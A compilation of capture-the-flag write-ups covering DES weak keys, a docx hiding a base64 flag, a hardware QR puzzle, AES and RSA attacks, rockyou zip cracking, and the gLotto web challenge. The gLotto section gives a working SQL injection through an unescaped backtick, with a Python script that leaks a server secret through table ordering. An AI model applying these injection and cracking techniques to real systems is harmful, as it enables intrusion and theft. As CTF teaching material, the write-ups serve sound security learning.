`not_des.py` looks like a typical DES implementation, but with S-boxes are in this order:>SBOXES = [S6, S4, S1, S5, S3, S2, S8, S7]
From `challenge.py`, we notice that 3 conditions need to be satisfied:
>output = Xor(DESEncrypt(inp, key), inp)>>if b1.key + b1.input != b2.key + b2.input>>if b1.output == b2.output>>if b3.output == [0]*8>
The first condition prevents a identical key and text to be encrypted.
The second condition is colliding `Xor(DESEncrypt(inp, key), inp)`
The third condition is finding a input that maps to itself under a key.
## Solution for first 2 conditions
Firstly, notice that `XOR(a,b)=XOR(b,a)`, thus we need to find an input, when encrypted twice with different/same key, results in the same output.
This is quite a well-known vulnerability, there are 4 weak keys and 6 semi-weak key pairs.
Weak keys: When a message is encrypted with a weak key twice, it results in the same message. The 4 weak keys are:* 0x0101010101010101* 0xFEFEFEFEFEFEFEFE* 0xE0E0E0E0F1F1F1F1* 0x1F1F1F1F0E0E0E0E
Semi-weak key pairs: When a message is encrypted with a one semi-weak key, it can be decrypted with another key. The 6 semi-weak key pairs are:
* 0x011F011F010E010E and 0x1F011F010E010E01* 0x01E001E001F101F1 and 0xE001E001F101F101* 0x01FE01FE01FE01FE and 0xFE01FE01FE01FE01* 0x1FE01FE00EF10EF1 and 0xE01FE01FF10EF10E* 0x1FFE1FFE0EFE0EFE and 0xFE1FFE1FFE0EFE0E* 0xE0FEE0FEF1FEF1FE and 0xFEE0FEE0FEF1FEF1
This allows for a extremely trivial solution
`XOR(DESEncrypt(m,k),m)=XOR(DESEncrypt(DESEncrypt(m,k),k),DESEncrypt(m,k))`
```>>> DESEncrypt(b'\x01\x01\x01\x01\x01\x01\x01\x01',b'\x01\x01\x01\x01\x01\x01\x01\x01')b'\xe9A\x8a\x94\xde\x9aM\xbd'>>> DESEncrypt(b'\x01\x01\x01\x01\x01\x01\x01\x01',b'\x01\x01\x01\x01\x01\x01\x01\x01')b'\xe9A\x8a\x94\xde\x9aM\xbd'>>> # python -c "print '\x01\x01\x01\x01\x01\x01\x01\x01'+'\x01\x01\x01\x01\x01\x01\x01\x01'+'\x01\x01\x01\x01\x01\x01\x01\x01'+'\xe9\x41\x8a\x94\xde\x9a\x4d\xbd'+'A'*16" | nc dm-col.ctfcompetition.com 13370 pre-image not found.```
The payload works!## Solution for last conditionNow we're left with finding a message and key that maps back to the same message, since `XOR(m,m)=0`
Bruteforce would take way too long so lets start trying to understand the algorithm.
Looking at the `DESEncrypt` function, we see that the message is first permuted and then split into 2 strings, L and R, then they go through some transforms before being concatenated and permuted back.
```pythonplaintext = [plaintext[IP[i] - 1] for i in range(64)]L, R = plaintext[:32], plaintext[32:]for ki in KeyScheduler(key): L, R = R, Xor(L, CipherFunction(ki, R))ciphertext = Concat(R, L)ciphertext = [ciphertext[IP_INV[i] - 1] for i in range(64)]```
Looking through the whole function, the only line that changes the message is:
`L, R = R, Xor(L, CipherFunction(ki, R))`
Since we want the message to remain the same, we see that `L=R` and `R=Xor(L, CipherFunction(ki, R))` which implies that `CipherFunction(ki, R)=0`
`ki` can easily be predicted with weak keys -> These weak keys remain the same even after the key schedule algorithm
Now lets look into `CipherFunction`
```pythonres = Xor(Expand(inp), key) sbox_out = [] for si in range(8): sbox_inp = res[6 * si:6 * si + 6] sbox = SBOXES[si] row = (int(sbox_inp[0]) << 1) + int(sbox_inp[-1]) col = int(''.join([str(b) for b in sbox_inp[1:5]]), 2) bits = bin(sbox[row][col])[2:] bits = '0' * (4 - len(bits)) + bits sbox_out += [int(b) for b in bits]```
So firstly our input goes into the Expand function -> `Expands 32bits into 48 bits.` , then it gets XORed with the key. Now with the resultant bits we use these as a lookup table. The first and last bit are used for the row and the middle 4 are for the column, for example, `sbox_inp=100101` being looked up would be `sbox[b11][b0010]=sbox[3][2]`, the lookup is then converted into a 4bit string and concatenated to the return value.
We would like the return value to be 0, so the lookups should be 0. Let's look at what key options we have
Key | ki------------------ | --------0x0101010101010101 | 000000000xFEFEFEFEFEFEFEFE | FFFFFFFF0xE0E0E0E0F1F1F1F1 | FFFF00000x1F1F1F1F0E0E0E0E | 0000FFFF
We notice that there are 2 pairs of keys, if one works the other would(by just flipping all the bits), thus we only need to look at 2 keys, the first and the last.
So now we need to find a input such that `Expand(inp)` results in lookup of only 0.
```pythonE = [ 32, 1, 2, 3, 4, 5, 4, 5, 6, 7, 8, 9, 8, 9, 10, 11, 12, 13, 12, 13, 14, 15, 16, 17, 16, 17, 18, 19, 20, 21, 20, 21, 22, 23, 24, 25, 24, 25, 26, 27, 28, 29, 28, 29, 30, 31, 32, 1,]def Expand(v): """Expands 32bits into 48 bits.""" assert (len(v) == 32) return [v[E[i] - 1] for i in range(48)]```
This can also be visualised by having a array of length 32, being split into 8 arrays of 4, each array gets one element from the 2 arrays adjacent to it, then all the arrays are concatenated.
```>>> Expand([i for i in range(32)])[31, 0, 1, 2, 3, 4, 3, 4, 5, 6, 7, 8, 7, 8, 9, 10, 11, 12, 11, 12, 13, 14, 15, 16, 15, 16, 17, 18, 19, 20, 19, 20, 21, 22, 23, 24, 23, 24, 25, 26, 27, 28, 27, 28, 29, 30, 31, 0]```
Since this is then split into 8 arrays of 6, we'll have to ensure that the last 2 elements on an array are identical to the first to elements of the next array.
Firstly let's write a [script](sol.py) to print out every element that ends with a zero in the format required by CipherFunction(so like `[2][10]->101010`).
```Format: SBOX[n],bin number for lookup0,1011110,1001100,0011010,0001001,1101111,1100101,0110011,011010...6,0010007,1101017,1111007,0001117,001010```
Since there is quite little elements, trying to find a valid string by hand will be quite fast.
We try for a ki of all 0 first:
```First lookup possible solutions:101111100110001101000100
Second lookup possible solutions:101111110111101111110111001101011001001101011010
etc...```[Full list](./possiblesols.txt)
However we realize that we can only do 7 lookups with all 0, but the 8th lookup can never be 0 since the last 2 digits for the 7th lookup does not correspond to the first 2 digits of the 8th lookup.
Luckily, we have another key, let's try that!
We see that we have only one solution - `010000001000000001010011111010101100001111110101`Now 'de-expanding' it, we get `10000100000010011101011001111010`
To make sure we did not mess up:
```>>> '010000001000000001010011111010101100001111110101'==''.join(Expand('10000100000010011101011001111010'))True
```Now we just have to concat 2 of this together and invert the permutation, then we're done!
```>>> ''.join(['1000010000001001110101100111101010000100000010011101011001111010'[IP_INV[i] - 1] for i in range(64)])'0011000000001111110011000011001100001111000000110000111111001100'```Now let's update the payload
```python -c "print '\x01\x01\x01\x01\x01\x01\x01\x01'+'\x01\x01\x01\x01\x01\x01\x01\x01'+'\x01\x01\x01\x01\x01\x01\x01\x01'+'\xe9\x41\x8a\x94\xde\x9a\x4d\xbd'+'\x1F\x1F\x1F\x1F\x0E\x0E\x0E\x0E'+'\x30\x0F\xCC\x33\x0F\x03\x0F\xCC'" | nc dm-col.ctfcompetition.com 1337CTF{7h3r35 4 f1r3 574r71n6 1n my h34r7 r34ch1n6 4 f3v3r p17ch 4nd 175 br1n61n6 m3 0u7 7h3 d4rk}```
Another solution also exist due to the weak keys being invertible, the other solution(trivially) is
```python -c "print '\x01\x01\x01\x01\x01\x01\x01\x01'+'\x01\x01\x01\x01\x01\x01\x01\x01'+'\x01\x01\x01\x01\x01\x01\x01\x01'+'\xe9\x41\x8a\x94\xde\x9a\x4d\xbd'+'\xE0\xE0\xE0\xE0\xF1\xF1\xF1\xF1'+'\xCF\xF0\x33\xCC\xF0\xFC\xF0\x33'" | nc dm-col.ctfcompetition.com 1337CTF{7h3r35 4 f1r3 574r71n6 1n my h34r7 r34ch1n6 4 f3v3r p17ch 4nd 175 br1n61n6 m3 0u7 7h3 d4rk}```
> Flag: `CTF{7h3r35 4 f1r3 574r71n6 1n my h34r7 r34ch1n6 4 f3v3r p17ch 4nd 175 br1n61n6 m3 0u7 7h3 d4rk}`
p.s. when using ip instead of ip_inv, i got \xCC\xCC\x55\x22\x55\x88\xAA\xCC, just a interesting observation
|
# open-docs (150)
## Problem
Yay! I really enjoy using these free and open file standards. I love them so much, that I made a file expressing how much I like using them. Let's enjoy open standards together!
(Attachments: files/open.docx)
## Solution
A lot of things are actually zip files underneath and can be unzipped as such. docx files are one of those things.
```$ unzip open.docx Archive: open.docx creating: docProps/ inflating: docProps/app.xml inflating: docProps/core.xml creating: word/ inflating: word/document2.xml inflating: word/fontTable.xml extracting: word/secrets.xml inflating: word/settings.xml inflating: word/styles.xml creating: word/theme/ inflating: word/theme/theme1.xml inflating: word/webSettings.xml creating: word/_rels/ inflating: word/_rels/document2.xml.rels inflating: [Content_Types].xml creating: _rels/ inflating: _rels/.rels```
One can't help but notice a really interesting file: `word/secrets.xml`. Let's go check it out.
```$ cat word/secrets.xml
PHNlY3JldCBmbGFnPSJiY2FjdGZ7ME94TWxfMXNfNG00ejFOZ30iIC8+```
Looks like base64. Let's decode it.
```$ echo "PHNlY3JldCBmbGFnPSJiY2FjdGZ7ME94TWxfMXNfNG00ejFOZ30iIC8+" | base64 -d<secret flag="bcactf{0OxMl_1s_4m4z1Ng}" />``` |
tl;drThis is a RE chal where the function takes in itself as a string, which prevents us from modifying the function blindly and getting the same output. The program basically does a massive XOR magic and spits out a value which is checked if its printable, if it is then the lock unlocks.There are 2 solutions, and one of them looks like english words so it is the flag. Some variables and functions are also in cryllic which makes them look identical to other variable/function making it rather confusing |
# Music>Can you do it again?We are given [DaNang.rar](DaNang.rar)
Looking at the name I was initially hoping for some fancy pitch recognition in base 8 stuff, however it was much easier(and fairer) than that.
Unraring the rar file, we optain a [corrupted png](DaNang.png)
After some time of playing around, DutChen18 found out that after removing the png, you'll get a RIFF file, or just find where RIFF pops up in the png file and remove everything before RIFF, then we get an [audio file](extract.riff).
Opening the riff file with audacity, we immediately see binary data at the start of the file

After painfully writing out the binary data, we get the flag
>Flag: ISITDTU{I_lik3_mus1c_s0_much} |
# Devious Digital Device
```Our operatives have found this device inside the base. Please help us figure out what it does. Note: Physical challenge. Go to the admin room to find the challenge.```
This was a hardware based challenge for which you need the challenge PCB to solve. the PCB looked like this:
The first thing we did was google the text on the chips, from which we learned that there were 8 XOR gates (chips with white text), 3 8-bit shift registers (top row on the right) and 4 Hex Schmitt-Trigger Inverters (the rest) which we assumed behaved like NOT gates.
There was a 21x21 LED matrix on the board with seemingly random LEDS turned on, however we quickly noticed that on the top left and bottom corners relative to the image we can see something that resembles broken QR code markers, from which we deduced that our goal was to make the matrix show a valid QR code which would most likely be our flag.
We can see 16 LEDs besides the 2 right most shift registers, which indicate the state of each output. There were 2 buttons and one switch on the board. By repeatedly pressing the blue LED button we could shift the registers and cycle through a seemingly random sequence of bits. This random sequence was however not used in our solution, so I will skip it.
Since there was no memory on the board, we often power cycled it to get it to a known state. After a power cycle, all 16 shift register bits would light up. By pressing the blue LED button we could shift a 0 into the shift register indefinitely. By pressing the red LED button we could go into the other pseudo random mode which we didn't end up needing. We noticed that depending on the state of the green LED switch we could control if the bit which would become visible in the 16 LEDs after two shifts would go through a NOT gate or not. Since we could shift an indefinite amount of 0's into the register after a power cycle it was trivial to by varying the switch be able to set the 16 LEDs in any arbitrary state.
We guessed that the condition for the QR code to be properly displayed was that we needed to have the shift register in a specific state, and so we went searching for what this state could be. On the bottom left of the PCB relative to the image we can see a row of 19 resistors, out of which 3 are separated. we followed the traces of the 3 separated resistors and noticed that they each lead to all LEDs of one of the 3 QR code markers that had to be lit up for the QR code to be valid. since those 3 resistors had to be on for the QR code to properly show, we tried to see what would happen if we powered all traces on the bottom left of the board.
We noticed that all 16 shift register LEDs were connected to the resistors we wanted to power either directly or through a NOT gate. We therefore followed the traces and figured out in which state each bit had to be for their corresponding traces on the bottom left to be powered. After we entered this combination of bits into the shift register, the LED matrix showed the following:

Now we only have to use some editing software to correct the colors on the QR code so its clearly visible and scannable or manually copy the code onto an image like we did and we get the flag!
`midnight{sh1fty!}` |
The challenge is basically a fancy map from ascii onto integers mod n, since its a map, and we are given the structure of part of the message, we can deduce some results of the map, which allows us to calculate the parameters of the function(which is a linear function mod n) |
tl;drThis is just a fancy version of the parity oracle attack, where the parity is obtained probabilistically and by pinging the server multiple times with the same input we can determine the parity of a ciphertext, then the parity oracle attack comes easily. |
# aes\_cnv>nc 35.185.111.53 13337>>See more challenges: [chung96vn](https://github.com/chung96vn/challenges)
We're given a [AES\_CNV.py](AES_CNV.py) and a [challenge.py](challenge.py)
The AES\_CNV looks like a modified type of AES, should be pretty interesting
The goal of this would be to find a ciphertext with and IV that results in `Give me the flag` as the first block
However, the encryption oracle does not allow encrypting anything with `Give me the flag` as the first block
## Analyzing AES\_CNV
Padding function:
```pythonpad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)```
Notice that pad will actually add an extra block at the end, `"\x10"*16`, if the input size is a multiple of 16, , which is just normal PKCS#7 padding
toblock(): splits array at every 16 bytes
tostr(): concatenates everything in array
xor(a,b): XORs the highest bytes of a and b and outputs it, if either is empty, output the other input
```pythondef encode(self, m): m_ar = toblock(pad(m)) p_ar = [] for i in range(len(m_ar)): p_ar.append(xor(m_ar[i], self.secret[i%len(self.secret)])) p = tostr(p_ar) return self.aes.encrypt(p, os.urandom(BLOCK_SIZE))```
Here we see that our message is first padded, converted to a block, then XORed with some unknown secret, probably 16 bytes long(otherwise I'm not sure if it's easily solvable), and this **secret is fixed, and finite**. After that the result is sent to be encrypted with a random IV
```pythondef encrypt(self, plain_text, iv): assert len(iv) == 16 plain_text = pad(plain_text) assert len(plain_text)%BLOCK_SIZE == 0 cipher_text = '' aes = AES.new(self.key, AES.MODE_ECB) h = iv for i in range(len(plain_text)//BLOCK_SIZE): block = plain_text[i*16:i*16+16] block = xor(block, h) cipher_block = aes.encrypt(block) cipher_text += cipher_block h = md5(cipher_block).digest() return b64encode(iv+cipher_text)```
Firstly, our input is padded yet again, even though our initial input is already padded, then it encrypts every block with ECB except for 1 difference - the IV changes based on the **md5 of the cipher_block**
## Vulnerability
There are 2 flaws in this system, firstly, the secret XOR is fixed, and finite, and we can also predict the IV used to encrypt the next block from the md5 of the previous cipherbox.
Thus we can send a known block, repeated until the secret repeats, then send `Give me the flag`. We can obtain the IV and the ciphertext of `Give me the flag`
Our attack would proceed as follows:
Chose a random block, `0123456789ABCDEF` is chosen for convenience
Prepend `Give me the flag` with the block n times, where n is looped until the solution is found
The ciphertext we receive will have the structure:
>randomIV|multiple encrypted 0123456789ABCDEF|encrypted Give me the flag|encrypted "\n"+"\x0f"\*15|encrypted "\x10"\*16
Using the ciphertext, calculate the IV used to encrypt Give me the flag, and set that as the new iv, the payload would look like
>newIV|encrypted Give me the flag|encrypted "\n"+"\x0f"\*15|encrypted "\x10"\*16
(you can remove the last 2 blocks but it doesn't affect the final result, server checks if decrypted message starts with Give me the flag)
Now slowly loop through n to get the flag, as eventually the secret used to XOR our message is used to XOR the ciphertext(i%len(self.secret) has a cycle length of len(self.secret))
[exploit.py](exploit.py)
>Flag: ISITDTU{chung96vn\_i5\_v3ry\_h4nds0m3}
|
# Drill>We are given [drill](drill), which looks like a text file that contains hex
The file we are given looks a lot like hex, thus we simply converted the hex values into an [actual file](hexfile)
PK\x01\x02 and PK\x05\x06 can be found in the file, thus we could just replace(from TuanLinh) or insert(actual solution, from DutChen18) PK\x03\x04 at the start, then we can fix the [zip file](500.zip)
After fixing it, we see a 499.zip and a password prompt, using rockyou to crack the zip, we see 499.zip contains 498.zip and a password prompt, seems like the number will just slowly count down, a [script](unzip.py) is used to automate this process, it seems to go by much faster than expected. After the competition I realized the 500 passwords are actually the 500 most common passwords, which will be at the start of the rockyou database.
Now we are presented with a [0.zip](0.zip), which is unzipped to give us a [file](0)
In this file we are presented with a [key.png](0/key.png) and a [box.zip](box.zip), containing flag.txt and requires a password. After unsuccessfully running rockyou. Looking at the key.png, we realize that the red pixel values are actually morse code(from DutChen18)
Decoding the [morse code](0/decode.py), we finally get the key, and then converting the letters to lower case, we [unlock the zip](0/flag.txt)
>Flag: ISITDTU{4\_g00d\_hunt3r\_0n\_th3\_c0mput3r!} |
# gLotto22 solves, 288 points
> Are you lucky?> https://glotto.web.ctfcompetition.com/
## Analysis
The link goes to a "lottery" website, with tables of past winning tickets and an option to check your ticket. At the bottom of the page, there is a link to show the source.
We can see that the flag is given if you submit the winning ticket:```phpif ($_POST['code'] === $win){ die("You won! $flag");} else { sleep(5); die("You didn't win :(The winning ticket was $win");}```
Additionally, a new winning ticket is randomly generated on every request to the home page, and the winning ticket is unset on checking a ticket, preventing you from just submitting the winning ticket without visiting the home page again.
The application also lets you sort each table by a key in a query parameter:```phpfor ($i = 0; $i < count($tables); $i++){ $order = isset($_GET["order{$i}"]) ? $_GET["order{$i}"] : ''; if (stripos($order, 'benchmark') !== false) die; ${"result$i"} = $db->query("SELECT * FROM {$tables[$i]} " . ($order != '' ? "ORDER BY `".$db->escape_string($order)."`" : "")); if (!${"result$i"}) die;}```
The [documentation](https://www.php.net/manual/en/mysqli.real-escape-string.php) for `mysql::escape_string` lists the characters encoded:
> Characters encoded are NUL (ASCII 0), \n, \r, \, ', ", and Control-Z.
Notice that backticks are not on this list, so ```"ORDER BY `".$db->escape_string($order)."`"``` is vulnerable to SQL injection. Here is a very basic proof that this works:
```https://glotto.web.ctfcompetition.com/?order0=winner`%20--%20```
This URL sorts the March table by the `winner` column, since it results in the following query:
```sqlSELECT * FROM march ORDER BY `winner` -- ````
The `--` comments out the extra backtick to prevent a syntax error.
At this point, it's also important to note that the winning ticket is assigned to an SQL variable that is never used again:```php$db->query("SET @lotto = '$winner'");```
Interesting...
So, what can we do with the SQL injection? Well, the answer turns out to be "not much." The [MySQL documentation](https://dev.mysql.com/doc/refman/8.0/en/select.html) shows the valid syntax for a `SELECT` statement:
```sqlSELECT [ALL | DISTINCT | DISTINCTROW ] [HIGH_PRIORITY] [STRAIGHT_JOIN] [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] [SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] select_expr [, select_expr ...] [FROM table_references [PARTITION partition_list] [WHERE where_condition] [GROUP BY {col_name | expr | position}, ... [WITH ROLLUP]] [HAVING where_condition] [WINDOW window_name AS (window_spec) [, window_name AS (window_spec)] ...] [ORDER BY {col_name | expr | position} [ASC | DESC], ... [WITH ROLLUP]] [LIMIT {[offset,] row_count | row_count OFFSET offset}] [INTO OUTFILE 'file_name' [CHARACTER SET charset_name] export_options | INTO DUMPFILE 'file_name' | INTO var_name [, var_name]] [FOR {UPDATE | SHARE} [OF tbl_name [, tbl_name] ...] [NOWAIT | SKIP LOCKED] | LOCK IN SHARE MODE]]```
Our injection is after `ORDER BY`, so the only fields we control are `ORDER BY`, `LIMIT`, `INTO`, and `FOR`. `INTO` and `FOR` are both pretty much useless for conveying information. `LIMIT` cannot be an expression, so it can't be used for sending data. That leaves the `ORDER BY` clause.
Since we have to specify a valid column for the first `ORDER BY`, and each column has unique values, it seems like we won't be able to control the ordering. However, we can add on to the expression to make it always return the same value and force it to use the secondary sort column. I chose to use `IS NOT NULL`. With this, we can sort by an arbitrary value. Let's try just sorting randomly:
```https://glotto.web.ctfcompetition.com/?order0=winner`%20IS%20NOT%20NULL,%20RAND()%20--%20```
This gives the following query:
```sqlSELECT * FROM march ORDER BY `winner` IS NOT NULL, RAND() -- ````
As expected, the March table is ordered differently each time we visit the page.
## Exploitation
So we have complete control over the ordering. Is this enough to transmit the entire winning ticket? Let's look at the `gen_winner` function:
```phpfunction gen_winner($count, $charset='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'){ $len = strlen($charset); $rand = openssl_random_pseudo_bytes($count); $secret = '';
for ($i = 0; $i < $count; $i++) { $secret .= $charset[ord($rand[$i]) % $len]; } return $secret;}```
And how it is called:
```php$winner = gen_winner(12);```
This is essentially a 12 digit base36 number, so there are `36**12` possible tickets:```python>>> 36**124738381338321616896```
We are able to sort 4 different tables, of lengths 9, 8, 7, and 4. If we make the meaning of the ordering of each table depend on the ordering of the previous tables, we can calculate the number of possible "messages":
```python>>> fac(9)*fac(8)*fac(7)*fac(4)1769804660736000```
This means we can narrow it down to about 2,677 possible tickets:
```python>>> 4738381338321616896/17698046607360002677.3470787172014```
Since there is a `sleep(5)` when checking a ticket, each check takes a little over 5 seconds. If we parallelize our solution script, it is definitely possible to brute force \~2.7k in a reasonable amount of time (i.e. less than an hour).
### Encoding
We need to figure out how to encode information in the tables. A table of size `n` has `n!` permutations, so it can encode `n!` numbers based on ordering.
Let the default ordering of the table be `order[0, 1, 2, ... n]`. In order to encode a number `x` within the interval `[0, n!)`, first divide the interval into `n` subintervals: `[0, (n-1)!), [(n-1)!, 2*(n-1)!), ..., [(n-1)*(n-1)!, n*(n-1)!)`. If `x` lies within interval `i`, the new ordering begins with `order[i]`. Repeat within that interval, this time dividing into `n-1` subintervals. Of course, `order[i]` must be removed since it was already used; `n-1` elements remain.
Python implementations of encoding and decoding are given below:
```pythondef encode(x, n): rows = list(range(n)) order = [] for i in range(n-1, -1, -1): order.append(rows.pop(x//fac(i))) x %= fac(i) return tuple(order)
def decode(order, n): order = list(order) rows = list(range(n)) x = 0 for i in range(n-1, -1, -1): j = rows.index(order.pop(0)) x += j*fac(i) rows.pop(j) return x```
The encoding function needs to be implemented in SQL. This seems hard at first since it uses a mutable array and pops indices from it, and we can only use simple SQL expressions. While it may be _possible_ to generate a bunch of `CASE` statements that give a single expression for transposing each position, it would also be incredibly long, and the web server has limits on how long the query string can be (which we encounter a little bit later).
However, a couple observations make this conversion a little bit easier:
1. Subqueries can be used to make "variables"2. MySQL has support for a [JSON data type](https://dev.mysql.com/doc/refman/8.0/en/json.html)
To do incremental calculations that reuse previous ones, we can stack subqueries like so:
```sql(SELECT c+1 as d FROM (SELECT b+1 as c FROM (SELECT a+1 as b FROM...```
The important thing is that this allows us to reuse a previous calculation in multiple future calculations without retyping the entire expression. Another thing to note here is that we don't have any variables/state, just composition of functions (subqueries). This might remind you a little bit of lambda calculus.
In the Python implementation of `encode`, there are basically three pieces of state: `rows`, `order`, and `x`. `rows` is the remaining rows that have not been transposed. `order` is the output of the function (the map for transposition). `x` is the number to encode, modded by the interval size at each step. MySQL's JSON type can represent arrays, so that will be used for `rows` and `order`.
When sending a request to the server, the table sizes are predetermined, so anything depending on that can be hardcoded into the SQL query. We will implement a Python function that generates an SQL query to reorder a table of size `n` such that it extracts a number represented by the expression `expr`. The conditions that represent the original row order will be given in the array `m`:
```pythondef sqlencode(expr, n, m):```
The initial state of the encoding can be set with the following subquery (curly braces are used for formatting the string):
```sqlSELECT {expr} as s{n}, JSON_ARRAY({','.join(str(i) for i in range(n))}) as r{n}, JSON_ARRAY(0) as o{n}, CONCAT(CHAR(36), CHAR(91), CHAR(65), CHAR(93)) as h) AS t{n}```
`x` is represented by `s{n}`, `rows` is represented by `r{n}`, and `order` is represented by `o{n}`. The `JSON_ARRAY` is initialized with a single element because on my local version of MariaDB, it turned into an empty string otherwise. It is not required against the server. `h` is a helper string, `'$[A]'`, that allows for a `REPLACE` to be used instead of reconstructing the entire JSON identifier each time. Without this optimization, the query ends up being too long and the web server rejects it. `CONCAT` and `CHAR` are used since single and double quotes are escaped in the PHP before being put in the query.
Subqueries are then added to the outside for each iteration of the loop in the Python implementation. These are of the format:
```sqlSELECT h, JSON_ARRAY_APPEND(o{i+1}, CONVERT(CHAR(36) USING utf8mb4), JSON_EXTRACT(r{i+1}, REPLACE(h,CHAR(65), CONVERT(s{i+1} DIV {fac(i)},char)))) as o{i}, MOD(s{i+1}, {fac(i)}) as s{i}, JSON_REMOVE(r{i+1}, REPLACE(h, CHAR(65), CONVERT(s{i+1} DIV {fac(i)},char))) AS r{i} FROM {subquery}) AS t{i}```
`h` is selected so it can be used in the next query as well. `JSON_ARRAY_APPEND` is used to add the element at index `floor(x/(i!))` of `rows` to `order`. `CHAR(36)` is just `$`, which signifies the entire JSON array. It needs to be converted to `utf8mb4` because `JSON_ARRAY_APPEND` rejects binary encoding. `x` is calculated as the previous `x` mod `i!`, and `rows` has the element at index `floor(x/(i!))` removed. `REPLACE` is used to replace the `A` in `$[A]` with the proper index.
Now that the output array is calculated, the rows need to be sorted correctly. A `CASE` statement is constructed based on the array of conditions, `m`, to order the rows, and a final query is constructed. The full function can be seen below:
```pythondef sqlencode(expr, n, m): query = f"(SELECT {expr} as s{n},JSON_ARRAY({','.join(str(i)for i in range(n))}) as r{n},JSON_ARRAY(0) as o{n},CONCAT(CHAR(36),CHAR(91),CHAR(65),CHAR(93)) as h) AS t{n}" for i in range(n-1, -1, -1): query = f"(SELECT h,JSON_ARRAY_APPEND(o{i+1}, CONVERT(CHAR(36) USING utf8mb4), JSON_EXTRACT(r{i+1},REPLACE(h,CHAR(65),CONVERT(s{i+1} DIV {fac(i)},char)))) as o{i}, MOD(s{i+1}, {fac(i)}) as s{i}, JSON_REMOVE(r{i+1}, REPLACE(h,CHAR(65),CONVERT(s{i+1} DIV {fac(i)},char))) AS r{i} FROM " + query + f") AS t{i}" jsonquery = "JSON_EXTRACT(o0,CONCAT(CHAR(36),CHAR(91),CONVERT({index},char),CHAR(93)))" cases = "CASE" for i in range(len(m)): cases += f" WHEN {m[i]} THEN {jsonquery.format(index=i+1)}" cases += " ELSE NULL END" query = "(SELECT " + cases + " FROM " + query + ")" return query```
To decode a number retrieved from the server, we figure out which row was moved where and plug an array of that into the `decode` function:
```pythondef sqldecode(r, n, m): s = sorted(list(map(lambda x:(r.index(x), x), m)), key=lambda x:x[0]) encoded = [] for t in m: encoded.append([i[1] for i in s].index(t)) encoded = tuple(encoded) return decode(encoded, n)```
`r` is the server response, `n` is the number of rows, and `m` is an array the of tickets in their original order.
### Exfiltration
We can now transmit 4 numbers in the ranges `[0,9!)`, `[0,8!)`, `[0,7!)`, and `[0,4!)`. To get the possibilities for the winning lottery ticket, we convert it to a base36 number and use each table to get a range of possible values.
We want to divide the number so that it fits in the range of the first table, `[0,8!)`. The maximum value is `36**12 - 1` (`ZZZZZZZZZZZZ`), so we take that and divide it by `8!`:
```python>>> ceil((36**12 - 1)/fac(8))117519378430596```
Our first piece of data we get is which interval of size 117519378430596 the winning ticket lies in. We then take the winning number modulo 117519378430596, and split that into intervals that give indices up to the size of our next table, `9!`. This process is repeated for each table until we narrow it down to 2,677 values and guess one of them.
A couple helper functions are defined to construct the queries and URL parameters:
```pythonparam = lambda q: f"winner` IS NOT NULL, {q} -- "num = lambda m1,m2,m3,d: f"(MOD(MOD(MOD(CAST(CONV(@lotto, 36, 10) AS UNSIGNED), {m1}),{m2}),{m3}) DIV {d})"```
And we make a guess and hopefully get the flag:
```pythonrs = requests.session()r = rs.get(url, params={ "order0": param(sqlencode(num(36**12, 36**12, 36**12, 117519378430596), 8, march)), "order1": param(sqlencode(num(36**12, 36**12, 117519378430596, 323851903), 9, april)), "order2": param(sqlencode(num(36**12, 117519378430596, 323851903, 64257), 7, may)), "order3": param(sqlencode(num(117519378430596, 323851903, 64257, 2678), 4, june))})r1 = sqldecode(r.text, 8, marcht)r2 = sqldecode(r.text, 9, aprilt)r3 = sqldecode(r.text, 7, mayt)r4 = sqldecode(r.text, 4, junet)guess = 117519378430596*r1 + 323851903*r2 + 64257*r3 + 2678*r4 + 100r = rs.post(url, data={"code":base36encode(guess).zfill(12)})if "CTF" in r.text: print(r.text)```
Full solution script at original writeup link. |
# Simple RSA>We are given a [simple_rsa.py](simple_rsa.py)
This is just a typical RSA factorization attack, just fancier and forces you to either be amazing at getting code from github and/or know how RSA works
First we notice that N isn't just made from 2 primes, it actually is 4 primes multiplied together. These 4 primes satisfy the relation
```p2=10p1+c1p3=10p2+c2p4=10p3+c3```
where `c1,2,3` are some small constants so that `p2,3,4` are prime and `p1` is 251 bits long.
## Factoring
Using `p1*p4≈1000p1^2=(100p1)*(10p1)≈p2*p3`, we see that this is a basic setup for fermat factorization, thus I just went to github to grab some [fermat factorization code](fermat.py) to find `p1*p4` and `p2*p3`
```p1*p4=24556891073418994576751524607635760117996811894972202516187698043229292302109114380884247668494990605537878648233446996676371523211326680052450374168750431p2*p3=24556891073418994576751524607635760117996811894972202516187698043229292302185592473522031534536176858756163591603824821794497153855658790721132779232081801```
We know that p4≈1000p1 and p3≈10p2, thus we can use coppersmith attack on it. MeePwn recently had a similar challenge where 7331q≈1337p but the last 512 bits are scrambled. For here, after some approximation using Daniel Goldston, János Pintz and Cem Yıldırım's estimation of prime gaps(2007), I chose the error to be 17 bits, then I used p4's code, [modified a little](coppersmith.sage), ran on [sagecell](http://sagecell.sagemath.org/), and got all 4 [primes](primes.txt).
## Decrypting message
Ok so we got all 4 primes, how do we decrypt?
We know that `m^e mod N=c`, thus we need to find a number d such that `m^(ed) mod N=m=c^d`
Using Euler's theorem, we know that `ed mod φ(N)=1`, and since N is just a product of 4 primes, `φ(n)=(p1-1)(p2-1)(p3-1)(p4-1)`
With this we can easily [decrypt](decrypt.py) and get the flag
>Flag: ISITDTU{f6b2b7472273aacf803ecfe93607a914}
p.s. I believe that `p1` is 251 bits long to emulate 512-bit RSA. Notice how `N=p1*p2*p3*p4≈(1000p1^2)^2`, `1000p1^2` is likely to be 512 bits long(`log2(10)^3+251*3=511.965784...`) |
# runescape-2
## Description
